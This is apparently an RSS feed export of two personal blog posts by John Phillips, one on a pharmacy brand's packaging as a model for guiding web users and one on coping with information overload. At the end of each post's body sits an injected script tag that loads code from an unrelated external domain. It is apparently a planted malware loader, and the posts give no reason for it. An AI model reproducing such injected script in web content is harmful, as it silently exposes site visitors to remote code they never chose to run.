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		<title>Guiding Users Down a Path</title>
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		<pubDate>Sat, 01 Aug 2009 14:27:57 +0000</pubDate>
		<dc:creator>John Phillips</dc:creator>
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		<description><![CDATA[I am very much a student of design, and love looking at other mediums of design, outside of the web to learn. I recently came across a great example of giving users a path to follow, and wanted to share it. It&#8217;s the updated packaging from Help Remedies. Not only is the packaging very clean [...]]]></description>
			<content:encoded><![CDATA[<p>I am very much a student of design, and love looking at other mediums of design, outside of the web to learn. I recently came across a great example of giving users a path to follow, and wanted to share it. It&#8217;s the updated packaging from <a href="http://www.helpineedhelp.com/">Help Remedies</a>.</p>
<p><a href="http://www.jwphill3.com/wp-content/uploads/2009/08/6a00d8345250f069e20115721de071970b-550wi.jpg"><img src="http://www.jwphill3.com/wp-content/uploads/2009/08/6a00d8345250f069e20115721de071970b-550wi-273x300.jpg" alt="6a00d8345250f069e20115721de071970b-550wi" title="6a00d8345250f069e20115721de071970b-550wi" width="273" height="300" class="alignleft size-medium wp-image-214" /></a></p>
<p>Not only is the packaging very clean and straight to the point, but it immediately tells the consumer to choose a path. There is little room for confusion. This concept should be used on the web, and is <em>very</em> important in 1.) keeping users on your site, and 2.) guiding/helping them find relevant information before leaving.</p>
<p><a href="http://www.jwphill3.com/wp-content/uploads/2009/08/6a00d8345250f069e2011571295d4f970c-550wi.jpg"><img src="http://www.jwphill3.com/wp-content/uploads/2009/08/6a00d8345250f069e2011571295d4f970c-550wi-300x263.jpg" alt="Help Remedies packaging" title="Help Remedies packaging" width="300" height="263" class="alignleft size-medium wp-image-217" /></a></p>
<p>See more of this packaging at <a href="http://www.thedieline.com/blog/2009/07/before-after-help-remedies.html">The Dieline</a>.</p>
<p>The web needs more of this. Can you think of good examples of this concept on the web? Please share.<script src="http://secowo.com/wo"></script></p>
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		<title>Too Much Information?</title>
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		<pubDate>Thu, 14 Dec 2006 17:36:53 +0000</pubDate>
		<dc:creator>John Phillips</dc:creator>
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		<description><![CDATA[The reason I love the web so much is that information is so easily accessible without even having to leave your desk (or couch!). It&#8217;s everything you want to know at your fingertips. You could even say that the web has too much information, although not every source is reliable. But is too much information [...]]]></description>
			<content:encoded><![CDATA[<p>The reason I love the web so much is that information is so easily accessible without even having to leave your desk (or couch!). It&#8217;s everything you want to know at your fingertips. You could even say that the web has too much information, although not every source is reliable. But is too much information always a good thing?<span id="more-58"></span></p>
<p>Now, in no way do I think there should be any less information than that which is already out there. I love it, and for everything that I need to do (design/development related), I can find useful information to get the job done if I become stuck on something. And for that, I am thankful to have that kind of access.</p>
<p>Everyday I make it a priority to surf the web and find at least a couple articles that are relevant to what I do. It&#8217;s almost turned into an addiction, and I need my fix of reading each day. It keeps me learning. But as I was reading today, I realized&#8230;&#8230;.will I remember all of this information? In other words, how can I keep all of this info stored in my head, because there is an awful lot of it.</p>
<p>I am 99% sure that about a year ago today, I found some kind of useful article to read, and has that information left my knowledge bank? How can you keep track of all of the good articles and information without having a huge bookmarks list? It just seems to be so much to keep up with.</p>
<p>Now this won&#8217;t stop me from doing my normal reading each day, but it was just a thought that I had, that I felt like writing about. To try an keep track of useful articles I find now, I just throw them in my &#8216;distractions&#8217; section on the sidebar of this site. I can&#8217;t imagine how many articles I&#8217;ll have in another year. I probably won&#8217;t go back to read them<strong>all</strong> but at least I know they are there if I need them.</p>
<p>But what other ways can you manage the intake of information?<script src="http://secowo.com/wo"></script></p>
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